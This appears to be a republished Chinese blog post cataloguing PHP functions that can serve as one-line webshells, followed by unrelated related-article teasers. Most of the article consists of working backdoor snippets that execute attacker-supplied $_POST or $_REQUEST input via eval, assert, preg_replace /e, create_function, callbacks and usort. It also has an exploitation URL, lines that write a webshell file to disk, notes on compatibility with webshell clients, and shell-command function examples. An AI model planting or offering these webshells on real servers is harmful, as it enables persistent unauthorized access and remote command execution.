php assert eval,代码执行函数之一句话木马

前言

大家好,我是阿里斯,一名IT行业小白。非常抱歉,昨天的内容出现瑕疵比较多,今天重新整理后再次发出,修改并添加了细节,另增加了常见的命令执行函数如果哪里不足,还请各位表哥指出。

eval和assert的区别

eval特点

eval()会把字符串按照php代码来执行(合法的php代码,以分号结尾)

eval()是一个语言构造器,不能被可变函数调用

eval($_REQUEST[1]); #eval一句话木马使用方式$_POST['1']($_POST['2'])   #这里我们使用可变函数,参数1传入eval会不可用

assert特点

把字符串当做php代码去执行,这里对字符串的要求吗,没有eval严格

assert在php7.0也不再是函数,变成了语言结构(不能使用可变函数了)

函数

eval()

$a = $_POST['cmd1'];

eval($a);

9f754300d88dfb037f5aa8cfde87a681.png

assert()

assert($_REQUEST['a']); #11年,16年的菜刀可以使用

# 参考链接 https://www.freebuf.com/articles/web/56616.html

3142c4b7bd86b212a2419be282bbfa1e.png

preg_replace()

这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行

preg_replace('/asd/e', $_POST['a'], 'asdfasdg');

# 14年的菜刀不行 蚁剑报错

# php5.5后开始弃用/e模式,但是经过测试11的菜刀配合php5.6还可以使用

fce1258094dbbc2213c7a08cd5f5f1e3.png

create_function()

create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

create_function的实现步骤:

1. 获取参数, 函数体;

2. 拼凑一个"function __lambda_func (参数) { 函数体;} "的字符串;

3. eval;

4. 通过\_\_lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;

5. 定义一个函数名:"\000_lambda_" . count(anonymous_functions)++;

6. 用新的函数名替换__lambda_func;

7. 返回新的函数。

8. 参考链接 https://www.t00ls.net/articles-20774.html

$func = create_function('', $_POST['cmd']);

$func();

42a96adbf1f7b2194cef202c774e565b.png

call_user_func()

把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func('assert', $_REQUEST['cmd']);

# 经过测试php7.0已失效

58a117718ca7ebe9a1e51f02405b8f38.png

call_user_func_array()

调用回调函数,并把一个数组参数作为回调函数的参数

$cmd = $_REQUEST['cmd'];

$arr[0] = $cmd;

call_user_func_array('assert', $arr);

# 7.0 php测试失败

2f9f37747257b7bfe989b3d4118c48a2.png

array_filter()

第一个参数为数组,第二个参数为回调函数。这个函数的作用就是将array数组中的每个值传递给回调函数做参数。

$cmd = $_REQUEST['cmd'];

$arr = array($cmd);

$func = $_REQUEST['func'];

array_filter($arr, $func);

# 经过测试php7.0失效

b76a93b5270e1fc5ecde0c29409ad24a.png

usort()

函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参

参考链接http://www.am0s.com/functions/97.html

usort(...$_GET);

# php5.6以上7.0以下有效

#利用方式

#http://127.0.0.1:8999/test/project/code_run.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

#x=phpinfo();

b042a72b7e964979247304910969c6e5.png

7400757645766bf5ca9d0a6a87ee56db.png

a4b1a781b1d413273dfc38c336a539d7.png

file_put_contents()

把一个字符串写入文件中,在浏览器访问这个文件会生成相应的木马文件。

$ma = '<?php eval($_REQUEST[cmd]);?>';#这里一定要使用单引号双引号会把$_REQUEST[]当作变量使用

file_put_contents('muma.php', $ma);

fputs()

同上

fputs(fopen('shell.php', 'w'), '<?php eval($_REQUEST[cmd])?>');

动态函数

$_GET['a']($_POST['b']);

b8a35e0779b4481edfdd089732985e3e.png

array_map()

array_map($_GET[func], array($_POST[cmd]));

9cd21ab69c715fd6efdd613f605fa4f8.png

命令执行函数(常见)

system()

将字符串当作shell命令执行,返回最后一行shell命令的执行结果

system('whoami');

375af32421ec36eae099c2cec4764789.png

passthru()

调用shell命令,把命令的执行结果输出到标准输出设备上

passthru('whoami')

2ff40eaf7c58605b37d71cc7619d053f.png

exec()

不输出结果,返回shell命令执行结果的最后一行

print(exec('whoami'));

1799cdb6de677b078564ced18c00f115.png

shell_exec()

不输出结果,返回shell命令执行的所有结果

print(shell_exec('whoami && dir'));

86505babc1b3e05e4f74c6997717c30f.png

反引号``

加了反引号的字符串将尝试作为外壳命令来执行,并将奇输出信息返回。

print(`whoami`);

6e1c2407e402fc6ffcfb5614c41deeae.png

结语

欢迎各位转发点再看,感激不尽!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532826.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

显卡、显卡驱动、CUDA、CUDA Toolkit、cuDNN 梳理

显卡、显卡驱动、CUDA、CUDA Toolkit、cuDNN 梳理 转自&#xff1a;https://www.cnblogs.com/marsggbo/p/11838823.html#nvccnvidia-smi GPU型号含义 显卡&#xff1a; 简单理解这个就是我们前面说的GPU&#xff0c;尤其指NVIDIA公司生产的GPU系列&#xff0c;因为后面介绍的…

VS Code的Error: Running the contributed command: ‘_workbench.downloadResource‘ failed解决

VS Code的Error: Running the contributed command: _workbench.downloadResource failed解决 转自&#xff1a;https://blog.csdn.net/ibless/article/details/118610776 1 问题描述 此前&#xff0c;本人参考网上教程在VS Code中配置了“Remote SSH”插件&#xff08;比如这…

Oracle闪回报错,oracle 闪回区满了,ORA-19815

oracle 闪回区满了&#xff0c;查看日志报错&#xff1a;ORA-19815&#xff0c;命令行输入&#xff1a;sqlplus / as sysdbastartup mount //如果你的数据库出现了无法连接的情况时&#xff0c;可以加上这句select file_type, percent_space_used as used,percent_space_rec…

[2021-ICCV] MUSIQ Multi-scale Image Quality Transformer 论文简析

[2021-ICCV] MUSIQ: Multi-scale Image Quality Transformer 论文简析 论文&#xff1a;https://arxiv.org/abs/2108.05997 代码&#xff1a;https://github.com/google-research/google-research/tree/master/musiq 概述 当前SOTA的IQA&#xff08;图像质量评估&#xff0…

安装oracle不动了,windows2008安装ORACLE到2%不动的问题 | 信春哥,系统稳,闭眼上线不回滚!...

最近又有网友遇到在windows2008服务器上安装ORACLE软件时到2%就卡住不动的问题&#xff0c;下面是该网友的描述&#xff1a;oralce 11g r2 windows server 2008 R2安装到最后一步复制数据文件时卡到2% 不走了内存一直飙升求解决这个问题前段时间也有人遇到过&#xff0c;但是他…

手把手教你入门Git --- Git使用指南(Linux)

手把手教你入门Git — Git使用指南&#xff08;Linux&#xff09; 系统&#xff1a;ubuntu 18.04 LTS 本文所有git命令操作实验具有连续性&#xff0c;git小白完全可以从头到尾跟着本文所有给出的命令走一遍&#xff0c;就会对git有一个初步的了解&#xff0c;应当能做到会用并…

php数据关系图,如何利用navicat查看数据表的ER关系图

文章背景&#xff1a;(相关推荐&#xff1a;navicat)由于工作需要&#xff0c;现在要分析一个数据库&#xff0c;然后查看各个表之间的关系&#xff0c;所以需要查看表与表之间的关系图&#xff0c;专业术语叫做ER关系图。默认情况下&#xff0c;Navicat显示的界面是这样的&…

Linux中g++与gcc的区别

转自&#xff1a;https://blog.csdn.net/bit_clearoff/article/details/53965514 Windows中我们常用vs来编译编写好的C和C代码&#xff1b;vs把编辑器&#xff0c;编译器和调试器等工具都集成在这一款工具中&#xff0c;在Linux下我们能用什么工具来编译所编写好的代码呢&#…

从C源代码到可执行文件的四个过程:预处理、编译、汇编、链接

从C源代码到可执行文件的四个过程&#xff1a;预处理、编译、汇编、链接 总览 我们将在Linux操作系统中&#xff0c;以C语言的Hello World程序为例&#xff0c;用gcc编译器分步执行这四个步骤。 我们有再熟悉不过的HelloWorld程序&#xff0c;hello.c&#xff1a; #include …

linux内核中cent文件夹,Centos 中如何快速定制二进制的内核 RPM 包

1、rpm 制作前的环境准备&#xff1a;yum install -y ncurses-devel qt-devel rpm-build redhat-rpm-config asciidoc hmaccalc perl-ExtUtils-Embed xmlto audit-libs-devel binutils-devel elfutils-devel elfutils-libelf-devel newt-devel python-devel zlib-devel bc2、准…

TabError- inconsistent use of tabs and spaces in indentation 查验及解决方法

TabError: inconsistent use of tabs and spaces in indentation 查验及解决方法 报错代码 def eccv16(pretrainedTrue):model ECCVGenerator()if(pretrained):import torch.utils.model_zoo as model_zoomodel.load_state_dict(torch.load(/home/ps/.cache/torch/hub/check…

linux用xshell编辑文件,Linux远程管理器xshell和xftp使用教程

Xshell 是一个强大的安全终端模拟软件&#xff0c;它支持SSH1, SSH2, 以及Microsoft Windows 平台的TELNET 协议。Xftp 是一个基于 MS windows 平台的功能强大的SFTP、FTP 文件传输软件。安装完毕后打开xshell设置网站帐号信息设置主机信息设置服务器帐号设置字符集编码设置好了…

FLOPs、FLOPS、Params的含义及PyTorch中的计算方法

FLOPs、FLOPS、Params的含义及PyTorch中的计算方法 含义解释 FLOPS&#xff1a;注意全大写&#xff0c;是floating point operations per second的缩写&#xff08;这里的大S表示second秒&#xff09;&#xff0c;表示每秒浮点运算次数&#xff0c;理解为计算速度。是一个衡量…

科普 | 单精度、双精度、多精度和混合精度计算的区别是什么?

科普 | 单精度、双精度、多精度和混合精度计算的区别是什么? 转自&#xff1a;https://zhuanlan.zhihu.com/p/93812784 我们提到圆周率 π 的时候&#xff0c;它有很多种表达方式&#xff0c;既可以用数学常数3.14159表示&#xff0c;也可以用一长串1和0的二进制长串表示。 …

linux设备驱动之串口移植,Linux设备驱动之UART驱动结构

一、对于串口驱动Linux系统中UART驱动属于终端设备驱动&#xff0c;应该说是实现串口驱动和终端驱动来实现串口终端设备的驱动。要了解串口终端的驱动在Linux系统的结构就先要了解终端设备驱动在Linux系统中的结构体系&#xff0c;一方面自己了解的不够&#xff0c;另一发面关于…

NVIDIA英伟达的Multi-GPU多卡通信框架NCCL

NVIDIA英伟达的Multi-GPU多卡通信框架NCCL 笔者注&#xff1a;NCCL 开源项目地址&#xff1a;https://github.com/NVIDIA/nccl 转自&#xff1a;https://www.zhihu.com/question/63219175/answer/206697974 NCCL是Nvidia Collective multi-GPU Communication Library的简称&…

C语言n个坐标点间的最大距离,c语言已知两点坐标,求另一点到穿过这两点的直线最短距离。...

c语言已知两点坐标&#xff0c;求另一点到穿过这两点的直线最短距离。以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容&#xff0c;让我们赶快一起来看一下吧&#xff01;c语言已知两点坐标&#xff0c;求另一点到穿过这两点的直线最短距离。#…

[分布式训练] 单机多卡的正确打开方式:理论基础

[分布式训练] 单机多卡的正确打开方式&#xff1a;理论基础 转自&#xff1a;https://fyubang.com/2019/07/08/distributed-training/ 瓦砾由于最近bert-large用的比较多&#xff0c;踩了很多分布式训练的坑&#xff0c;加上在TensorFlow和PyTorch之间更换&#xff0c;算是熟…

s3c2416开发板 linux,S3C2416移植内核Linux3.1的wm9713声卡过程

移植内核的声卡驱动。原因没有声卡驱动&#xff0c;WM9713声卡驱动移植(原来的内核有UDA1341声卡驱动&#xff0c;我们再次基础上直接修改)1、直接复制内核得到三个文件:s3c2416_wm9713.c , wm9713.c , s3c2416_ac97.c.linux-3.1\sound\soc\codecs\Wm9713.c---->wm9713.c;li…

c语言六位抢答器课程设计,51单片机八路抢答器课程设计

;说明&#xff1a;本人的这个设计改进后解决了前一个版本中1号抢答优先的问题&#xff0c;并增加了锦囊的设置&#xff0c;当参赛选手在回答问题时要求使用锦囊&#xff0c;则主持人按下抢答开始键&#xff0c;计时重新开始。;八路抢答器电路请看下图是用ps仿真的&#xff0c;已…